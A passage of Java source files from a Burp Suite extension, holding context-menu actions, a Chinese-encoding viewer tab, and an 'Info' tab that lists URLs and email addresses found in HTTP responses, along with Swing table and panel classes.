keywords,boolean isCaseSensitive) {
86 | for (String keyword:keywords) {
87 | if (!isCaseSensitive) {
88 | x = x.toLowerCase();
89 | keyword = keyword.toLowerCase();
90 | }
91 | if (x.contains(keyword)){
92 | return true;
93 | }
94 | }
95 | return false;
96 | }
97 | }
98 |
99 | class UpdateHeader_Action implements ActionListener{
100 | private final IContextMenuInvocation invocation;
101 | public IExtensionHelpers helpers;
102 | public PrintWriter stdout;
103 | public PrintWriter stderr;
104 | public IBurpExtenderCallbacks callbacks;
105 |
106 | private final String headerName;
107 |
108 | public UpdateHeader_Action(BurpExtender burp,IContextMenuInvocation invocation,String headerName) {
109 | this.invocation = invocation;
110 | this.helpers = burp.helpers;
111 | this.callbacks = BurpExtender.callbacks;
112 | this.stderr = BurpExtender.stderr;
113 | this.stdout = BurpExtender.stdout;
114 | this.headerName = headerName;
115 | }
116 |
117 | @Override
118 | public void actionPerformed(ActionEvent event) {
119 | if (invocation.getInvocationContext() == IContextMenuInvocation.CONTEXT_MESSAGE_EDITOR_REQUEST) {
120 | IHttpRequestResponse[] selectedItems = invocation.getSelectedMessages();
121 | String headerLine = CookieFinder.getLatestHeaderFromHistory(selectedItems[0], headerName).getValue();
122 |
123 | if (headerLine != null) {
124 | ProcessManager.updateHeader(true,selectedItems[0],headerLine);
125 | }
126 | }
127 | }
128 |
129 | }
130 |
--------------------------------------------------------------------------------
/src/knife/ViewChineseMenu.java:
--------------------------------------------------------------------------------
1 | package knife;
2 |
3 | import java.awt.EventQueue;
4 | import java.awt.event.ActionEvent;
5 | import java.awt.event.ActionListener;
6 | import java.io.PrintWriter;
7 |
8 | import javax.swing.JMenuItem;
9 |
10 | import com.bit4woo.utilbox.burp.HelperPlus;
11 |
12 | import burp.BurpExtender;
13 | import burp.IBurpExtenderCallbacks;
14 | import burp.IContextMenuInvocation;
15 | import burp.IExtensionHelpers;
16 | import burp.IHttpRequestResponse;
17 |
18 |
19 | public class ViewChineseMenu extends JMenuItem {
20 | private static final long serialVersionUID = 1L;
21 |
22 | //JMenuItem vs. JMenu
23 | public ViewChineseMenu(BurpExtender burp){
24 | this.setText("^_^ View Chinese");
25 | this.addActionListener(new View_Action(burp,burp.invocation));
26 | }
27 | }
28 |
29 | class View_Action implements ActionListener{
30 | private IContextMenuInvocation invocation;
31 | public IExtensionHelpers helpers;
32 | public PrintWriter stdout;
33 | public PrintWriter stderr;
34 | public IBurpExtenderCallbacks callbacks;
35 | public BurpExtender burp;
36 |
37 | public View_Action(BurpExtender burp,IContextMenuInvocation invocation) {
38 | this.burp = burp;
39 | this.invocation = invocation;
40 | this.helpers = burp.helpers;
41 | this.callbacks = BurpExtender.callbacks;
42 | this.stderr = BurpExtender.stderr;
43 | this.stdout = BurpExtender.stdout;
44 | }
45 |
46 | @Override
47 | public void actionPerformed(ActionEvent event) {
48 | IHttpRequestResponse[] messages = invocation.getSelectedMessages();
49 | HelperPlus getter = new HelperPlus(helpers);
50 | if (messages == null) {
51 | return;
52 | }
53 | if (messages.length == 1) {
54 | byte[] respBody = getter.getBody(false, messages[0]);
55 |
56 | EventQueue.invokeLater(new Runnable() {
57 | public void run() {
58 | try {
59 | ChineseGUI GUI = new ChineseGUI(respBody);
60 | GUI.setVisible(true);
61 | } catch (Exception e) {
62 | e.printStackTrace();
63 | }
64 | }
65 | });
66 | }
67 | }
68 | }
69 |
--------------------------------------------------------------------------------
/src/messageTab/Info/InfoEntry.java:
--------------------------------------------------------------------------------
1 | package messageTab.Info;
2 |
3 | import com.google.gson.Gson;
4 |
5 | public class InfoEntry {
6 |
7 | private String value = "";
8 | private String type = "";
9 | private boolean enable = true;
10 | private boolean editable = true;//whether you can edit name and type
11 | private String comment = "";
12 |
13 | public static final String Type_URL ="Type_URL";
14 | public static final String Type_Email ="Type_Email";
15 |
16 | public InfoEntry() {
17 | //to resolve "default constructor not found" error
18 | }
19 |
20 | public InfoEntry(String value, String type) {
21 | this.value = value;
22 | this.type = type;
23 | this.enable = true;
24 | }
25 |
26 | public InfoEntry(String value, String type, boolean enable) {
27 | this.value = value;
28 | this.type = type;
29 | this.enable = enable;
30 | }
31 |
32 | public InfoEntry(String value, String type, boolean enable, boolean editable) {
33 | this.value = value;
34 | this.type = type;
35 | this.enable = enable;
36 | this.editable = editable;
37 | }
38 |
39 | public InfoEntry(String value, String type, boolean enable, boolean editable, String comment) {
40 | this.value = value;
41 | this.type = type;
42 | this.enable = enable;
43 | this.editable = editable;
44 | this.comment = comment;
45 | }
46 |
47 |
48 |
49 | public String getValue() {
50 | return value;
51 | }
52 |
53 | public void setValue(String value) {
54 | this.value = value;
55 | }
56 |
57 | public String getType() {
58 | return type;
59 | }
60 |
61 | public void setType(String type) {
62 | this.type = type;
63 | }
64 |
65 | public boolean isEnable() {
66 | return enable;
67 | }
68 |
69 | public void setEnable(boolean enable) {
70 | this.enable = enable;
71 | }
72 |
73 | public boolean isEditable() {
74 | return editable;
75 | }
76 |
77 | public void setEditable(boolean editable) {
78 | this.editable = editable;
79 | }
80 |
81 | public String getComment() {
82 | return comment;
83 | }
84 |
85 | public void setComment(String comment) {
86 | this.comment = comment;
87 | }
88 |
89 | public String ToJson() {//注意函数名称,如果是get set开头,会被认为是Getter和Setter函数,会在序列化过程中被调用。
90 | return new Gson().toJson(this);
91 | }
92 |
93 | public InfoEntry FromJson(String json) {//注意函数名称,如果是get set开头,会被认为是Getter和Setter函数,会在序列化过程中被调用。
94 | return new Gson().fromJson(json, InfoEntry.class);
95 | }
96 |
97 | }
98 |
--------------------------------------------------------------------------------
/src/messageTab/Info/InfoGrepper.java:
--------------------------------------------------------------------------------
1 | package messageTab.Info;
2 |
3 | import com.bit4woo.utilbox.burp.HelperPlus;
4 |
5 | import burp.BurpExtender;
6 |
7 | public class InfoGrepper {
8 |
9 | public InfoGrepper(byte[] content, boolean isRequest) {
10 | HelperPlus getter = new HelperPlus(BurpExtender.getCallbacks().getHelpers());
11 |
12 | byte[] body = HelperPlus.getBody(isRequest, content);
13 |
14 | if (body!= null) {
15 | String bodyStr = new String(body);
16 |
17 | }
18 |
19 | }
20 |
21 |
22 | public InfoGrepper(String content, boolean isRequest) {
23 |
24 | }
25 |
26 | }
27 |
--------------------------------------------------------------------------------
/src/messageTab/Info/InfoPanel.java:
--------------------------------------------------------------------------------
1 | package messageTab.Info;
2 |
3 | import java.awt.BorderLayout;
4 | import java.awt.FlowLayout;
5 | import java.awt.event.ActionEvent;
6 | import java.awt.event.ActionListener;
7 |
8 | import javax.swing.JButton;
9 | import javax.swing.JFrame;
10 | import javax.swing.JLabel;
11 | import javax.swing.JPanel;
12 | import javax.swing.JScrollPane;
13 | import javax.swing.JTextField;
14 | import javax.swing.SwingUtilities;
15 | import javax.swing.Timer;
16 | import javax.swing.border.EmptyBorder;
17 | import javax.swing.event.DocumentEvent;
18 | import javax.swing.event.DocumentListener;
19 |
20 | public class InfoPanel extends JPanel {
21 |
22 | private final JTextField searchField;
23 | private final JLabel statusLabel = new JLabel(" 0 matches");
24 | boolean isRequest;
25 |
26 | public static JPanel headPanel;
27 | public InfoTable table;
28 | private InfoTab InfoTab;
29 |
30 |
31 |
32 | public static JPanel getHeadPanel() {
33 | return headPanel;
34 | }
35 |
36 |
37 | public static void setHeadPanel(JPanel headPanel) {
38 | InfoPanel.headPanel = headPanel;
39 | }
40 |
41 |
42 | public InfoTab getInfoTab() {
43 | return InfoTab;
44 | }
45 |
46 |
47 | public void setInfoTab(InfoTab infoTab) {
48 | InfoTab = infoTab;
49 | }
50 |
51 |
52 | public InfoTable getTable() {
53 | return table;
54 | }
55 |
56 |
57 | public void setTable(InfoTable table) {
58 | this.table = table;
59 | }
60 |
61 |
62 | InfoPanel(InfoTab parent) {
63 | this.InfoTab = parent;
64 | setBorder(new EmptyBorder(5, 5, 5, 5));
65 | setLayout(new BorderLayout(0, 0));
66 |
67 | headPanel = new InfoPanelHeadPanel();
68 | add(headPanel, BorderLayout.NORTH);
69 |
70 | InfoTableModel model = new InfoTableModel();
71 | table = new InfoTable(model,this);
72 |
73 | JScrollPane scrollPane = new JScrollPane();
74 | scrollPane.setViewportView(table);
75 | add(scrollPane, BorderLayout.CENTER);
76 |
77 |
78 | JPanel footPanel = new JPanel(new BorderLayout());
79 | searchField = new JTextField();
80 | Timer searchTimer = createSearchTimer();
81 | searchField.getDocument().addDocumentListener(new DocumentListener() {
82 | @Override
83 | public void insertUpdate(DocumentEvent e) {
84 | searchTimer.restart();
85 | }
86 |
87 | @Override
88 | public void removeUpdate(DocumentEvent e) {
89 | searchTimer.restart();
90 | }
91 |
92 | @Override
93 | public void changedUpdate(DocumentEvent e) {
94 | searchTimer.restart();
95 | }
96 | });
97 |
98 | JButton leftButton = new JButton("<");
99 | leftButton.addActionListener(new ActionListener() {
100 | @Override
101 | public void actionPerformed(ActionEvent e) {
102 | }
103 | });
104 | JButton rightButton = new JButton(">");
105 | rightButton.addActionListener(new ActionListener() {
106 | @Override
107 | public void actionPerformed(ActionEvent e) {
108 | }
109 | });
110 | JPanel panelA = new JPanel();
111 | panelA.add(leftButton);
112 | panelA.add(rightButton);
113 |
114 | footPanel.add(panelA, BorderLayout.WEST);
115 | footPanel.add(searchField, BorderLayout.CENTER);
116 |
117 | footPanel.add(statusLabel, BorderLayout.EAST);
118 |
119 | add(footPanel, BorderLayout.SOUTH);
120 | }
121 |
122 |
123 | private Timer createSearchTimer() {
124 | Timer searchTimer = new Timer(1000, new ActionListener() {
125 | @Override
126 | public void actionPerformed(ActionEvent e) {
127 | // 执行搜索操作
128 | String searchTerm = searchField.getText();
129 | //search(searchTerm, false, false);
130 | }
131 | });
132 | searchTimer.setRepeats(false); // 设置计时器只执行一次
133 | return searchTimer;
134 | }
135 | /*
136 | private void search(String searchTerm, boolean isRegex, boolean isCaseSensitive) {
137 | if (searchTerm.isEmpty()) {
138 | return;
139 | }
140 |
141 | int flags = 0;
142 | if (!isCaseSensitive) {
143 | flags |= Pattern.CASE_INSENSITIVE;
144 | }
145 |
146 | Pattern pattern;
147 | if (isRegex) {
148 | pattern = Pattern.compile(searchTerm, flags);
149 | Matcher matcher = pattern.matcher(text);
150 | while (matcher.find()) {
151 | int start = matcher.start();
152 | int end = matcher.end();
153 | try {
154 | highlighter.addHighlight(start, end, new DefaultHighlighter.DefaultHighlightPainter(Color.YELLOW));
155 | } catch (BadLocationException ex) {
156 | ex.printStackTrace();
157 | }
158 | }
159 | } else {
160 | int index = text.indexOf(searchTerm);
161 | while (index != -1) {
162 | try {
163 | textArea.getHighlighter().addHighlight(index, index + searchTerm.length(), new DefaultHighlighter.DefaultHighlightPainter(Color.YELLOW));
164 | index = text.indexOf(searchTerm, index + searchTerm.length()); // 继续搜索下一个匹配项
165 | } catch (BadLocationException ex) {
166 | ex.printStackTrace();
167 | }
168 | }
169 | }
170 | int num = textArea.getHighlighter().getHighlights().length;
171 | statusLabel.setText(" " + num + " matches");
172 | }*/
173 |
174 |
175 |
176 | public static void main(String[] args) {
177 | SwingUtilities.invokeLater(new Runnable() {
178 | @Override
179 | public void run() {
180 | JFrame jf = new JFrame();
181 | InfoPanel panel = new InfoPanel(null);
182 | jf.setContentPane(panel);
183 | jf.setVisible(true);
184 | jf.pack();
185 | }
186 | });
187 | }
188 | }
189 |
--------------------------------------------------------------------------------
/src/messageTab/Info/InfoPanelHeadPanel.java:
--------------------------------------------------------------------------------
1 | package messageTab.Info;
2 |
3 | import java.awt.FlowLayout;
4 |
5 | import javax.swing.JLabel;
6 | import javax.swing.JPanel;
7 |
8 | public class InfoPanelHeadPanel extends JPanel {
9 |
10 | JLabel baseUrllabelKey = new JLabel("Base URL: ");
11 | JLabel baseUrllabelValue = new JLabel("");
12 |
13 | public InfoPanelHeadPanel(){
14 | this.setLayout(new FlowLayout(FlowLayout.CENTER));
15 | this.add(baseUrllabelKey);
16 | this.add(baseUrllabelValue);
17 |
18 | }
19 |
20 | public void setBaseUrl(String url) {
21 | if (url!=null) {
22 | baseUrllabelValue.setText(url);
23 | }
24 | }
25 |
26 | }
27 |
--------------------------------------------------------------------------------
/src/messageTab/Info/InfoTab.java:
--------------------------------------------------------------------------------
1 | package messageTab.Info;
2 |
3 | import java.awt.Component;
4 | import java.util.List;
5 |
6 | import javax.swing.JPanel;
7 | import javax.swing.SwingWorker;
8 |
9 | import org.apache.commons.lang3.StringUtils;
10 |
11 | import com.bit4woo.utilbox.utils.ByteArrayUtils;
12 | import com.bit4woo.utilbox.utils.EmailUtils;
13 | import com.bit4woo.utilbox.utils.TextUtils;
14 |
15 | import base.FindUrlAction;
16 | import burp.BurpExtender;
17 | import burp.IBurpExtenderCallbacks;
18 | import burp.IExtensionHelpers;
19 | import burp.IMessageEditorController;
20 | import burp.IMessageEditorTab;
21 |
22 | /**
23 | * @author bit4woo
24 | * @github https://github.com/bit4woo
25 | */
26 | public class InfoTab implements IMessageEditorTab {
27 | private JPanel panel;
28 | private byte[] originContent;
29 | public IMessageEditorController controller;
30 |
31 | int triggerTime = 1;
32 | boolean debug = false;
33 |
34 | public byte[] getOriginContent() {
35 | return originContent;
36 | }
37 |
38 | public void setOriginContent(byte[] originContent) {
39 | this.originContent = originContent;
40 | }
41 |
42 |
43 | public IMessageEditorController getController() {
44 | return controller;
45 | }
46 |
47 | public void setController(IMessageEditorController controller) {
48 | this.controller = controller;
49 | }
50 |
51 | public InfoTab(IMessageEditorController controller, boolean editable, IExtensionHelpers helpers, IBurpExtenderCallbacks callbacks) {
52 | this.controller = controller;
53 | panel = new InfoPanel(this);
54 | BurpExtender.getCallbacks().customizeUiComponent(panel);//尝试使用burp的font size
55 | }
56 |
57 | @Override
58 | public String getTabCaption() {
59 | return "Info";
60 | }
61 |
62 | @Override
63 | public Component getUiComponent() {
64 | return panel;
65 | }
66 |
67 | @Override
68 | public boolean isEnabled(byte[] content, boolean isRequest) {
69 | if (isRequest) {
70 | return false;
71 | }
72 | String contentType = BurpExtender.getHelperPlus().getHeaderValueOf(isRequest, content, "Content-Type");
73 | if (StringUtils.isEmpty(contentType)) {
74 | return true;
75 | }
76 | if (contentType.contains("image/")) {
77 | return false;
78 | } else if (contentType.contains("text/css")) {
79 | return false;
80 | } else if (contentType.contains("font/")) {
81 | return false;
82 | } else if (contentType.contains("x-protobuf")) {
83 | return false;
84 | }
85 |
86 | return true;
87 | }
88 |
89 | /**
90 | * 每次切换到这个tab,都会调用这个函数。应考虑避免重复劳动,根据originContent是否变化来判断。
91 | * 测试发现:
92 | * 当在proxy页面点击一个数据包进行数据包切换时,触发infoTab处理逻辑,同一个数据包这个函数会被触发2次!
93 | *
94 | * 不是请求、响应各调用一次;而是响应包被调用两次,请求包被调用两次。而且this是同一个对象。
95 | *
96 | * 第一次触发,content内容不是当前数据包(点击选择的数据包)的,而是上一个数据包的。
97 | * 第二次触发,content才是当前数据包的内容,也就是点击选择的数据包的内容。
98 | * 造成一个结果就是,切换到新的数据包后,上一个数据包中提取到的内容会在当前数据包中显示。
99 | */
100 | @Override
101 | public void setMessage(byte[] content, boolean isRequest) {
102 | if (isRequest) {
103 | return;
104 | }
105 |
106 | //boolean debug = true;
107 | if (debug) {
108 | System.out.println("\n\n##################");
109 | System.out.println("triggerTime:" + triggerTime++);
110 | System.out.println(controller.getHttpService());
111 | System.out.println("content from controller:\n" + new String(controller.getResponse()));
112 | System.out.println("content from parameter:\n" + new String(content));//切换数据包时,第一次的触发会发现这个内容是上一个数据包的。
113 | System.out.println("equal:\n" + ByteArrayUtils.equals(controller.getResponse(), content));
114 | System.out.println(this);
115 | System.out.println(((InfoPanel) panel).getTable().getInfoTableModel());
116 | System.out.println("##################");
117 | }
118 |
119 | content = controller.getResponse();
120 | //从controller中获取真实的数据包,避免上面提到的,content是上一个数据包的问题。
121 | if (content == null || content.length == 0) {
122 | return;
123 | } else if (ByteArrayUtils.equals(originContent, content)) {
124 | return;
125 | } else {
126 | originContent = content;
127 | SwingWorker worker = new SwingWorker() {
128 | @Override
129 | protected Void doInBackground() throws Exception {
130 | ((InfoPanel) panel).getTable().getInfoTableModel().clear();
131 | List urls = FindUrlAction.findUrls(originContent);
132 |
133 | //清除JS\scss\vue等非接口URL
134 | urls = FindUrlAction.removeJsUrl(urls);
135 | for (String url : urls) {
136 | InfoEntry aaa = new InfoEntry(url, InfoEntry.Type_URL);
137 | ((InfoPanel) panel).getTable().getInfoTableModel().addNewInfoEntry(aaa);
138 | }
139 |
140 | List emails = EmailUtils.grepEmail(new String(originContent));
141 | emails = TextUtils.deduplicate(emails);
142 | for (String email : emails) {
143 | InfoEntry aaa = new InfoEntry(email, InfoEntry.Type_Email);
144 | ((InfoPanel) panel).getTable().getInfoTableModel().addNewInfoEntry(aaa);
145 | }
146 |
147 | if (((InfoPanel) panel).getTable().getInfoTableModel().getRowCount()==0) {
148 | InfoEntry aaa = new InfoEntry("No Info To Display", InfoEntry.Type_URL);
149 | ((InfoPanel) panel).getTable().getInfoTableModel().addNewInfoEntry(aaa);
150 | }
151 |
152 | return null;
153 | }
154 | };
155 | worker.execute();
156 | }
157 | }
158 |
159 |
160 | @Override
161 | public byte[] getMessage() {
162 | return originContent;
163 | }
164 |
165 | @Override
166 | public boolean isModified() {
167 | return false;
168 | }
169 |
170 | /**
171 | * ctrl+c复制数据逻辑会调用这个函数
172 | */
173 | @Override
174 | public byte[] getSelectedData() {
175 | InfoTable table = (InfoTable) ((InfoPanel) panel).getTable();
176 | String content = table.getSelectedContent();
177 | return content.getBytes();
178 | }
179 |
180 |
181 | public static void main(String[] args) {
182 | }
183 | }
--------------------------------------------------------------------------------
/src/messageTab/Info/InfoTabFactory.java:
--------------------------------------------------------------------------------
1 | package messageTab.Info;
2 |
3 | import burp.IBurpExtenderCallbacks;
4 | import burp.IExtensionHelpers;
5 | import burp.IMessageEditorController;
6 | import burp.IMessageEditorTab;
7 | import burp.IMessageEditorTabFactory;
8 |
9 | /**
10 | * 工厂类,构造一个个的Tab实例
11 | * @author bit4woo
12 | * @github https://github.com/bit4woo
13 | *
14 | */
15 | public class InfoTabFactory implements IMessageEditorTabFactory
16 | {
17 | private static IExtensionHelpers helpers;
18 | private static IBurpExtenderCallbacks callbacks;
19 |
20 |
21 | public InfoTabFactory(IMessageEditorController controller, boolean editable, IExtensionHelpers helpers, IBurpExtenderCallbacks callbacks)
22 | {
23 | InfoTabFactory.callbacks = callbacks;
24 | InfoTabFactory.helpers = helpers;
25 | }
26 |
27 | @Override
28 | public IMessageEditorTab createNewInstance(IMessageEditorController controller, boolean editable) {
29 | return new InfoTab(controller,editable,helpers,callbacks);
30 | }
31 | }
--------------------------------------------------------------------------------
/src/messageTab/Info/InfoTableMenu.java:
--------------------------------------------------------------------------------
1 | package messageTab.Info;
2 |
3 | import java.awt.event.ActionEvent;
4 | import java.util.List;
5 |
6 | import javax.swing.AbstractAction;
7 | import javax.swing.JMenuItem;
8 | import javax.swing.JPopupMenu;
9 |
10 | import org.apache.commons.lang3.StringUtils;
11 |
12 | import com.bit4woo.utilbox.utils.SystemUtils;
13 |
14 | import base.FindUrlAction;
15 |
16 |
17 | public class InfoTableMenu extends JPopupMenu {
18 |
19 |
20 | private static final long serialVersionUID = 1L;
21 | /**
22 | * 这处理传入的行index数据是经过转换的 model中的index,不是原始的JTable中的index。
23 | *
24 | * @param infoTable
25 | */
26 | InfoTableMenu(final InfoTable infoTable) {
27 |
28 | JMenuItem numItem = new JMenuItem(infoTable.getSelectedRows().length + " items selected");
29 |
30 | JMenuItem copyItem = new JMenuItem(new AbstractAction("Copy (Ctrl+C)") {
31 | @Override
32 | public void actionPerformed(ActionEvent actionEvent) {
33 | String content = infoTable.getSelectedContent();
34 | SystemUtils.writeToClipboard(content);
35 | }
36 | });
37 |
38 | JMenuItem changeBaseUrlItem = new JMenuItem(new AbstractAction("Set Base URL") {
39 | @Override
40 | public void actionPerformed(ActionEvent actionEvent) {
41 | String originUrl = infoTable.getOriginUrl();
42 | List allUrlsOfTarget = infoTable.getAllUrlsOfTarget();
43 |
44 | String baseurl = infoTable.choseBaseUrlToRequest(allUrlsOfTarget);
45 |
46 | if (StringUtils.isNotEmpty(originUrl) && StringUtils.isNotEmpty(baseurl)) {
47 | FindUrlAction.httpServiceBaseUrlMap.put(originUrl, baseurl);
48 | }
49 | }
50 | });
51 |
52 | JMenuItem setSelectedAsBaseUrlItem = new JMenuItem(new AbstractAction("Set Selected Item As Base URL") {
53 | @Override
54 | public void actionPerformed(ActionEvent actionEvent) {
55 |
56 | String originUrl = infoTable.getOriginUrl();
57 | //List allUrlsOfTarget = infoTable.getAllUrlsOfTarget();
58 | List urls = infoTable.getSelectedUrls();
59 | String baseurl = infoTable.choseBaseUrlToRequest(urls);
60 |
61 | if (StringUtils.isNotEmpty(originUrl) && StringUtils.isNotEmpty(baseurl)) {
62 | FindUrlAction.httpServiceBaseUrlMap.put(originUrl, baseurl);
63 | }
64 | }
65 | });
66 |
67 | /**
68 | * TODO 自动查找对应cookie并用于请求
69 | */
70 | JMenuItem doRequestItem = new JMenuItem(new AbstractAction("Request URL With Burp Proxy") {
71 | @Override
72 | public void actionPerformed(ActionEvent actionEvent) {
73 | List urls = infoTable.getSelectedUrls();
74 | infoTable.doRequestUrl(urls);
75 | }
76 | });
77 |
78 |
79 | JMenuItem openInBrowerItem = new JMenuItem(new AbstractAction("Open URL In Brower(Double Click)") {
80 | @Override
81 | public void actionPerformed(ActionEvent actionEvent) {
82 | List urls = infoTable.getSelectedUrls();
83 | infoTable.doOpenUrlInBrowser(urls);
84 | }
85 | });
86 |
87 | add(numItem);
88 | add(copyItem);
89 |
90 | this.addSeparator();
91 | add(changeBaseUrlItem);
92 | add(setSelectedAsBaseUrlItem);
93 |
94 | this.addSeparator();
95 | add(openInBrowerItem);
96 | add(doRequestItem);
97 |
98 | }
99 | }
100 |
--------------------------------------------------------------------------------
/src/messageTab/Info/InfoTableModel.java:
--------------------------------------------------------------------------------
1 | package messageTab.Info;
2 |
3 | import java.io.PrintWriter;
4 | import java.util.ArrayList;
5 | import java.util.Arrays;
6 | import java.util.List;
7 |
8 | import javax.swing.table.AbstractTableModel;
9 |
10 | import burp.BurpExtender;
11 |
12 |
13 | public class InfoTableModel extends AbstractTableModel {
14 | private static final long serialVersionUID = 1L;
15 | private List infoEntries = new ArrayList<>();
16 |
17 | public static String[] titles = InfoTable.headers;
18 |
19 | public InfoTableModel() {
20 |
21 | }
22 |
23 | ////////////////////// extend AbstractTableModel////////////////////////////////
24 |
25 | @Override
26 | public int getColumnCount() {
27 | return titles.length;
28 | }
29 |
30 | @Override
31 | public Class> getColumnClass(int columnIndex) {
32 | if (titles[columnIndex].equals("#")) {
33 | return Integer.class;//index
34 | } else if (titles[columnIndex].equals("Enable")) {
35 | return boolean.class;//enable
36 | } else {
37 | return String.class;
38 | }
39 | }
40 |
41 | @Override
42 | public int getRowCount() {
43 | return infoEntries.size();
44 | }
45 |
46 | //define header of table???
47 | @Override
48 | public String getColumnName(int columnIndex) {
49 | if (columnIndex >= 0 && columnIndex <= titles.length) {
50 | return titles[columnIndex];
51 | } else {
52 | return "";
53 | }
54 | }
55 |
56 | @Override
57 | public boolean isCellEditable(int rowIndex, int columnIndex) {
58 | return false;
59 | }
60 |
61 | public InfoEntry getEntryAt(int rowIndex) {
62 | return infoEntries.get(rowIndex);
63 | }
64 |
65 | @Override
66 | public Object getValueAt(int rowIndex, int columnIndex) {
67 | InfoEntry entry = infoEntries.get(rowIndex);
68 | if (titles[columnIndex].equals("#")) {
69 | return rowIndex;
70 | } else if (titles[columnIndex].equals("Value")) {
71 | return entry.getValue();
72 | } else if (titles[columnIndex].equals("Type")) {
73 | return entry.getType();
74 | } else if (titles[columnIndex].equals("Enable")) {
75 | return entry.isEnable();
76 | } else if (titles[columnIndex].equals("Comment")) {
77 | return entry.getComment();
78 | } else {
79 | return "";
80 | }
81 | }
82 |
83 |
84 | /*
85 | * Don't need to implement this method unless your table's
86 | * data can change.
87 | */
88 | @Override
89 | public void setValueAt(Object value, int row, int columnIndex) {
90 | InfoEntry entry = infoEntries.get(row);
91 |
92 | if (titles[columnIndex].equals("#")) {
93 |
94 | } else if (titles[columnIndex].equals("Value")) {
95 | entry.setValue((String) value);
96 | } else if (titles[columnIndex].equals("Type")) {
97 | entry.setType((String) value);
98 | } else if (titles[columnIndex].equals("Enable")) {
99 | entry.setEnable((boolean) value);
100 | } else if (titles[columnIndex].equals("Comment")) {
101 | entry.setComment((String) value);
102 | }
103 | fireTableCellUpdated(row, columnIndex);
104 | }
105 |
106 | //////////////////////extend AbstractTableModel////////////////////////////////
107 |
108 | public void addNewInfoEntry(InfoEntry lineEntry) {
109 | synchronized (infoEntries) {
110 | infoEntries.add(lineEntry);
111 | int row = infoEntries.size();
112 | //fireTableRowsInserted(row, row);
113 | //need to use row-1 when add setRowSorter to table. why??
114 | //https://stackoverflow.com/questions/6165060/after-adding-a-tablerowsorter-adding-values-to-model-cause-java-lang-indexoutofb
115 | fireTableRowsInserted(row - 1, row - 1);
116 | //fireTableRowsInserted(row-2, row-2);
117 | }
118 | }
119 |
120 |
121 | public void removeInfoEntry(InfoEntry lineEntry) {
122 | synchronized (infoEntries) {
123 | int index = infoEntries.indexOf(lineEntry);
124 | if (index != -1) {
125 | infoEntries.remove(lineEntry);
126 | fireTableRowsDeleted(index, index);
127 | }
128 | }
129 | }
130 |
131 | public void removeRows(int[] rows) {
132 | PrintWriter stdout1 = new PrintWriter(BurpExtender.callbacks.getStdout(), true);
133 | synchronized (infoEntries) {
134 | //because thread let the delete action not in order, so we must loop in here.
135 | //list length and index changed after every remove.the origin index not point to right item any more.
136 | Arrays.sort(rows); //升序
137 | for (int i = rows.length - 1; i >= 0; i--) {//降序删除才能正确删除每个元素
138 | InfoEntry config = infoEntries.get(rows[i]);
139 | infoEntries.remove(rows[i]);
140 | stdout1.println("!!! " + config.getValue() + " deleted");
141 | this.fireTableRowsDeleted(rows[i], rows[i]);
142 | }
143 | }
144 | }
145 |
146 | public void clear() {
147 | synchronized (infoEntries) {
148 | infoEntries = new ArrayList<>();
149 | }
150 | }
151 |
152 | public void updateRows(int[] rows) {
153 | synchronized (infoEntries) {
154 | //because thread let the delete action not in order, so we must loop in here.
155 | //list length and index changed after every remove.the origin index not point to right item any more.
156 | Arrays.sort(rows); //升序
157 | for (int i = rows.length - 1; i >= 0; i--) {//降序删除才能正确删除每个元素
158 | InfoEntry checked = infoEntries.get(rows[i]);
159 | infoEntries.remove(rows[i]);
160 | infoEntries.add(rows[i], checked);
161 | }
162 | this.fireTableRowsUpdated(rows[0], rows[rows.length - 1]);
163 | }
164 | }
165 |
166 | public List getConfigEntries() {
167 | return infoEntries;
168 | }
169 |
170 |
171 | public void setConfigEntries(List configEntries) {
172 | this.infoEntries = configEntries;
173 | }
174 |
175 | }
--------------------------------------------------------------------------------
/src/messageTab/U2C/ChineseTab.java:
--------------------------------------------------------------------------------
1 | package messageTab.U2C;
2 |
3 | import java.awt.Component;
4 | import java.util.ArrayList;
5 | import java.util.Arrays;
6 | import java.util.List;
7 |
8 | import org.apache.commons.lang3.StringUtils;
9 | import org.apache.commons.text.StringEscapeUtils;
10 |
11 | import com.bit4woo.utilbox.utils.ByteArrayUtils;
12 |
13 | import burp.BurpExtender;
14 | import burp.IBurpExtenderCallbacks;
15 | import burp.IExtensionHelpers;
16 | import burp.IMessageEditorController;
17 | import burp.IMessageEditorTab;
18 |
19 | /**
20 | * @author bit4woo
21 | * @version CreateTime:2022年1月15日 下午11:07:59
22 | *
23 | * 想要正确显示中文内容,有三个编码设置会影响结果:
24 | * 1、原始编码,通过代码尝试自动获取,但是结果可能不准确,极端情况下需要手动设置。
25 | * 2、转换后的编码,手动设置。
26 | * 3、burp设置的显示编码,显示时时用的编码,应该和转换后的编码一致。
27 | *
28 | * 原始数据是byte[],但也是文本内容的某种编码的byte[].
29 | * @github https://github.com/bit4woo
30 | */
31 | public class ChineseTab implements IMessageEditorTab {
32 |
33 |
34 | private ChinesePanel panel;
35 |
36 | private byte[] originContent;
37 | private String detectedCharset;
38 | private int charSetIndex = 0;
39 |
40 |
41 | public ChineseTab(IMessageEditorController controller, boolean editable, IExtensionHelpers helpers, IBurpExtenderCallbacks callbacks) {
42 | panel = new ChinesePanel(this);
43 | BurpExtender.getCallbacks().customizeUiComponent(panel);//尝试使用burp的font size
44 | }
45 |
46 |
47 | @Override
48 | public String getTabCaption() {
49 | return "Chinese";
50 | }
51 |
52 | @Override
53 | public Component getUiComponent() {
54 | return panel;
55 | }
56 |
57 | /**
58 | * 还是需要适当控制减少内存的占用
59 | *
60 | * Content-Type: image/x-icon
61 | Content-Type: image/png
62 | Content-Type: text/css
63 | Content-Type: font/woff2
64 | Content-Type: application/x-protobuf
65 | */
66 | @Override
67 | public boolean isEnabled(byte[] content, boolean isRequest) {
68 | String contentType = BurpExtender.getHelperPlus().getHeaderValueOf(isRequest, content, "Content-Type");
69 | if (StringUtils.isEmpty(contentType)) {
70 | return true;
71 | }
72 | if (contentType.contains("image/")) {
73 | return false;
74 | }
75 | else if (contentType.contains("text/css")) {
76 | return false;
77 | }
78 | else if (contentType.contains("font/")) {
79 | return false;
80 | }
81 | else if (contentType.contains("x-protobuf")) {
82 | return false;
83 | }
84 |
85 | return true;
86 | }
87 |
88 | public byte[] getOriginContent() {
89 | return originContent;
90 | }
91 |
92 | public void setOriginContent(byte[] originContent) {
93 | this.originContent = originContent;
94 | }
95 |
96 | public List getCharsetList() {
97 | String encoding = "UTF-8,GBK,GB2312,GB18030,Big5,Big5-HKSCS";
98 | List encodingList = new ArrayList<>(Arrays.asList(encoding.split(",")));
99 | if (StringUtils.isNotEmpty(detectedCharset)) {
100 | encodingList.remove(detectedCharset);
